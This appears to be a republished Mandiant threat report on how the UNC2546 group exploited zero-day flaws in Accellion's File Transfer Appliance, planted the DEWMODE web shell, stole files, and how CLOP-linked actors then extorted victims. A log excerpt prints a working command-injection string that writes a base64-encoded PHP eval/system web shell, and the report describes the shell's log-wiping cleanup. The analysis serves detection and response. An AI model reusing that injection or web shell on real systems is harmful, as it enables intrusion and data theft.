Read the original article: Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion
Starting in mid-December 2020, malicious actors that Mandiant tracks
as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s
legacy File Transfer Appliance (FTA) to install a newly discovered web
shell named DEWMODE. The motivation of UNC2546 was not immediately
apparent, but starting in late January 2021, several organizations
that had been impacted by UNC2546 in the prior month began receiving
extortion emails from actors threatening to publish stolen data on the
“CL0P^_- LEAKS" .onion website. Some of the published victim data
appears to have been stolen using the DEWMODE web shell.
Notably, the number of victims on the “CL0P^_- LEAKS" shaming
website has increased in February 2021 with organizations in the
United States, Singapore, Canada, and the Netherlands recently outed
by these threat actors. Mandiant has previously reported that FIN11
has threatened to post stolen victim data on this same .onion
site as an additional tactic to pressure victims into paying extortion
demands following the deployment of CLOP ransomware. However, in
recent CLOP extortion incidents, no ransomware was deployed nor were
the other hallmarks of FIN11 present.
We are currently tracking the exploitation of the zero-day Accellion
FTA vulnerabilities and data theft from companies running the legacy
FTA product as UNC2546, and the subsequent extortion activity as
UNC2582. We have identified overlaps between UNC2582, UNC2546, and
prior FIN11 operations, and we will continue to evaluate the
relationships between these clusters of activity. For more information
on our use of ‘UNC’ designations, see our blog post, "DebUNCing
Attribution: How Mandiant Tracks Uncategorized Threat Actors."
Mandiant has been working closely with Accellion in response to
these matters and will be producing a complete security assessment
report in the coming weeks. At this time, Accellion
has patched all FTA vulnerabilities known to be exploited by the
threat actors and has added new monitoring and alerting capabilities
to flag anomalies associated with these attack vectors. Mandiant has
validated these patches. Mandiant is currently performing penetration
testing and code review of the current version of the Accellion FTA
product and has not found any other critical vulnerabilities in the
FTA product based on our analysis to date. Accellion customers using
the FTA legacy product were the targets of the attack.
Accellion FTA is a 20-year-old product nearing end of life.
Accellion strongly recommends that FTA customers migrate
to kiteworks, Accellion’s enterprise content firewall
platform. Per Accellion, Kiteworks is built on an entirely different
code base.
The following CVEs have since been reserved for tracking the
recently patched Accellion FTA vulnerabilities:
-
CVE-2021-27101
– SQL injection via a crafted Host header -
CVE-2021-27102
– OS command execution via a local web service call -
CVE-2021-27103
– SSRF via a crafted POST request -
CVE-2021-27104
– OS command execution via a crafted POST request
UNC2546 and DEWMODE
In mid-December 2020, Mandiant responded to multiple incidents in
which a web shell we call DEWMODE was used to exfiltrate data from
Accellion FTA devices. The Accellion FTA device is a purpose-built
application designed to allow an enterprise to securely transfer large
files. The exfiltration activity has affected entities in a wide range
of sectors and countries.
Across these incidents, Mandiant observed common infrastructure
usage and TTPs, including exploitation of FTA devices to deploy the
DEWMODE web shell. Mandiant determined that a common threat actor we
now track as UNC2546 was responsible for this activity. While complete
details of the vulnerabilities leveraged to install DEWMODE are still
being analyzed, evidence from multiple client investigations has shown
multiple commonalities in UNC2546’s activities.
Evidence of Exploitation and DEWMODE Installation
Mandiant has been able reconstruct many of the details about how
Accellion FTAs have been compromised through examination of Apache and
system logs from impacted devices—from initial compromise, to
deployment of DEWMODE, and follow-on interaction.
The earliest identification of activity associated with this
campaign occurred in mid-December 2020. At this time, Mandiant
identified UNC2546 leveraging an SQL injection vulnerability in the
Accellion FTA. This SQL injection served as the primary intrusion vector.
Mandiant observed evidence of SQL injection followed by subsequent
requests to additional resources, as shown in Figure 1.
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Figure 1: SQL injection log
UNC2546 has leveraged this SQL injection vulnerability to retrieve a
key which appears to be used in conjunction with a request to the file
sftp_account_edit.php. Immediately after
this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web
shell being written to oauth.api.
| PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl –edit_user=F –mount_cifs=- V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" –passwd=pop |
Figure 2: Excerpt from log showing creation of
eval web shell
The decoded contents are shown in Figure 3.
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<?php
if(isset($_REQUEST[‘token’])) |
Figure 3: Decoded eval web shell
Almost immediately following this sequence, the DEWMODE web shell is
written to the system. The timing of these requests suggests that
DEWMODE was delivered via the oauth.api web
shell; however, the available evidence does not indicate the exact
mechanism used to write DEWMODE to disk.
Mandiant has identified the DEWMODE web shell in one of the
following two locations:
- /home/seos/courier/about.html
- /home/httpd/html/about.html
The DEWMODE web shell (Figure 4) extracts a list of available files
from a MySQL database on the FTA and lists those files and
corresponding metadata—file ID, path, filename, uploader, and
recipient—on an HTML page. UNC2546 then uses the presented list to
download files through the DEWMODE web shell. Download requests are
captured in the FTA’s web logs, which will contain requests to the
DEWMODE web shell with encrypted and encoded URL parameters, where dwn
is the file path and fn is the requested file name (Figure 5). The
encrypted file path and name values visible in web logs can be
decrypted using key material obtained from the database used by the
targeted FTA. Given the complex nature of this process, if your
organization needs assistance reviewing relevant logs, please contact
Mandiant or Accellion.
Figure 4: DEWMODE web shell screenshot
| GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256 |
Figure 5: DEWMODE File Download URL parameters
Following file downloads, UNC2546 initiates a cleanup routine by
passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The
following actions are performed:
- A shell script is written to /tmp/.scr, which will:
- Remove all
references to about.html from log
files located in /var/opt/apache/ - Write the modified log file to /tmp/x then replace the original log file at
/var/opt/apache/ - Delete the
contents of the /home/seos/log/adminpl.log log file. - Remove /home/seos/courier/about.html (DEWMODE) and
/home/seos/courier/oauth.api (eval
web shell), and redirect command output to the file /tmp/.out - Change the permissions of
the output file to be readable, writeable and executable by all
users, and set the owner to “nobody”
- Remove all
- Delete
the script file /tmp/.scr and other
temporarily created files to assist in cleanup - Display
cleanup output to the requesting user
An example of a cleanup request and subsequent execution of the
cleanup script can be seen in Figure 6.
|
GET
sft sudo: nobody : TTY=unknown ; |
Figure 6: DEWMODE cleanup request
Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained
minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api
from the directories /home/httpd/html/
instead of /home/seos/courier/.
In a subset of incidents, Mandiant observed UNC2546 requesting a
file named cache.js.gz (Figure 7). Based on
temporal file access to the mysqldump
utility and mysql data directories, the
archive likely contained a dump of the database. With the exception of
cache.js.gz, Mandiant has not observed
UNC2546 acquiring files from Accellion appliances through any method
besides DEWMODE.
| GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 |
Figure 7: cache.js.gz file request
UNC2582 Data Theft Extortion
Shortly after installation of the web shell, in multiple cases
within hours, UNC2546 leveraged DEWMODE to download files from
compromised FTA instances. While the actors’ motivations were not
immediately clear, several weeks after delivery of the DEWMODE web
shell, victims began to receive extortion emails from an actor
claiming association with the CLOP ransomware team (Figure 8 and
Figure 9). The actors threatened to publish data on the "CL0P^_-
LEAKS" .onion shaming website, unless the victim paid an
extortion fee. We are tracking the subsequent extortion activity under
a separate threat cluster, UNC2582. Despite tracking the exploitation
and extortion activity in separate threat clusters we have observed at
least one case where an actor interacted with a DEWMODE web shell from
a host that was used to send UNC2582-attributed extortion email.
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